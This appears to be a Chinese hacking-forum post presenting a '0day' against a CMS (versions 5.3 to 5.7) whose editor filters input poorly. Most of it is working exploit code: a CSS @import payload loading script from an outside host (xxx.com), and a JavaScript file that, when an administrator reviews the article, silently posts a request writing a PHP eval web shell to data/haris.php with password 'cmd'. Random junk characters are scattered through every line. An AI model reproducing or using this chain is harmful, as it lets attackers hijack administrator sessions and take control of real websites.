<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell8 f0 I( {6 X! d& e) ~1 c( C" e% @' a
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
2 `7 S6 d$ e1 Q2 o. l9 J% h' Z2 m目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
* z! h2 b9 j/ Q' n下面说说利用方法。) K; f* F: O/ M8 T: q
条件有2个:
& T1 K# {. d1 Z9 {( r" |2 B1.开启注册, u+ [+ b$ n% ]( ~3 V7 Z' o* N
2.开启投稿
1 g+ F |$ m% k Q注册会员----发表文章
+ y- x/ D1 U) Z$ g- D% s8 j内容填写:
4 X7 c K Q8 T$ F7 Q& K复制代码; \8 ?; P' `# f C5 D! g5 x# A
<style>@im\port'\http://xxx.com/xss.css';</style>0 N9 i% g1 B/ T. ?
新建XSS.Css/ o6 b; s% ]% @. D( @
复制代码" x( Z U5 E: k+ b ?- z$ T
.body{
9 e8 M5 c* {$ n2 E% C' @$ U1 Ybackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
6 U( S5 I3 c+ L8 R' E( u3 A$ w, A新建xss.js 内容为
& g) {: ~9 F3 O* c1 v8 [4 _; ?复制代码
0 ?& l" R4 r$ Y, M1.var request = false;$ k9 O# R% Q- M! O
2.if(window.XMLHttpRequest) {
$ a4 V0 t# G; n/ ?" d6 h$ k3.request = new XMLHttpRequest();
, ^! u/ T; u7 g2 V. ~4.if(request.overrideMimeType) {
5 r8 u- W4 X5 G2 s3 H6 d5.request.overrideMimeType('text/xml');
/ h( V8 v9 H' M$ i0 W- W' _, V6.}3 X. W+ |: Y2 G# n
7.} else if(window.ActiveXObject) {" G. I ^ ^) }
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];- B& H5 F+ {6 T2 D- X& b
9.for(var i=0; i<versions.length; i++) {
% l' `. |" v8 N, X8 v1 j7 d8 _10.try {
* t4 m$ ^) t0 p0 ?; Q11.request = new ActiveXObject(versions);4 h* `: [4 A* a6 e
12.} catch(e) {}
) X" h& p% v) d4 o( p13.}" o( m3 o" P8 R0 g* M9 ?+ i
14.}3 g" R3 E6 J5 _1 Q. a+ Z
15.xmlhttp=request;5 w5 t9 Z/ I9 N, G" H
16.function getFolder( url ){; d) e2 x: d& P2 V- Q: x
17. obj = url.split('/')
1 b; b/ } Y/ g18. return obj[obj.length-2]6 e" C$ S' S$ M. ?
19.}+ `0 i) }0 k0 }
20.oUrl = top.location.href;
. T; p" R" _; L5 }2 V0 @$ k; U21.u = getFolder(oUrl);
$ d2 q; n1 N, i1 S2 _22.add_admin();
5 e- P, _& ?( o) N23.function add_admin(){+ ^3 f% C/ d% J
24.var url= "/"+u+"/sys_sql_query.php";
% ]3 A' g, p+ r" I% F25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";( }( h* v% ~& r2 [2 {- R
26.xmlhttp.open("POST", url, true);: R$ F+ `' u W; I. z7 {
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");: U r1 h% U) M' \/ J' _! {0 T- q$ L
28.xmlhttp.setRequestHeader("Content-length", params.length);
) ]% e. ] K0 q' D9 E29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
* b$ `- {; p# Q% N; C$ w% f30.xmlhttp.send(params);2 w9 ~( H7 W) o% U
31.}
# D- m' A3 _5 r9 }7 D Q当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |